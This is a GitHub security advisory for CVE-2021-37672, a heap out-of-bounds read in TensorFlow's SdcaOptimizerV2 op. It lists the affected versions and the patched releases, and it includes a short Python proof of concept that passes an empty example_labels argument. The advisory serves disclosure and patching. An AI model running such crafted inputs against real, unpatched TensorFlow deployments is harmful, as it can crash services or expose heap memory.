GitHub Advisoryadvisory · PyPI
GHSA-5hj3-vjjf-f5m7 Heap OOB in `SdcaOptimizerV2`
MEDIUM
Official page ↗
- Aliases
- CVE-2021-37672
- Ecosystem
- PyPI
- Packages
- tensorflow, tensorflow-cpu, tensorflow-gpu
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-125
- Reviewed
- 2021-08-24
Affected packages
• PyPI tensorflow: < 2.3.4 → fixed in 2.3.4
• PyPI tensorflow: >= 2.4.0, < 2.4.3 → fixed in 2.4.3
• PyPI tensorflow: >= 2.5.0, < 2.5.1 → fixed in 2.5.1
• PyPI tensorflow-cpu: < 2.3.4 → fixed in 2.3.4
• PyPI tensorflow-cpu: >= 2.4.0, < 2.4.3 → fixed in 2.4.3
• PyPI tensorflow-cpu: >= 2.5.0, < 2.5.1 → fixed in 2.5.1
• PyPI tensorflow-gpu: < 2.3.4 → fixed in 2.3.4
• PyPI tensorflow-gpu: >= 2.4.0, < 2.4.3 → fixed in 2.4.3
• PyPI tensorflow-gpu: >= 2.5.0, < 2.5.1 → fixed in 2.5.1
Description
Impact
An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to `tf.raw_ops.SdcaOptimizerV2`:
```python
import tensorflow as tf
tf.raw_ops.SdcaOptimizerV2(
sparse_example_indices=[[1]],
sparse_feature_indices=[[1]],
sparse_feature_values=[[1.0,2.0]],
dense_features=[[1.0]],
example_weights=[1.0],
example_labels=[],
sparse_indices=[1],
sparse_weights=[1.0],
dense_weights=[[1.0]],
example_state_data=[[100.0,100.0,100.0,100.0]],
loss_type='logistic_loss',
l1=100.0,
l2=100.0,
num_loss_partitions=1,
num_inner_iterations=1,
adaptive=True)
```
The implementation does not check that the length of `example_labels` is the same as the number of examples.
Patches
We have patched the issue in GitHub commit a4e138660270e7599793fa438cd7b2fc2ce215a6.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
Related
Alias · CVE (1)
- CVE-2021-37672 TensorFlow is an end-to-end open source platform for machine learning. vulnerability
Weakness · CWE (1)
- CWE-125 Out-of-bounds Read weakness
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-5hj3-vjjf-f5m7 web
- https://nvd.nist.gov/vuln/detail/CVE-2021-37672 advisory
- https://github.com/tensorflow/tensorflow/commit/a4e138660270e7599793fa438cd7b2fc2ce215a6 web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-585.yaml web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-783.yaml web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-294.yaml web
- https://github.com/tensorflow/tensorflow package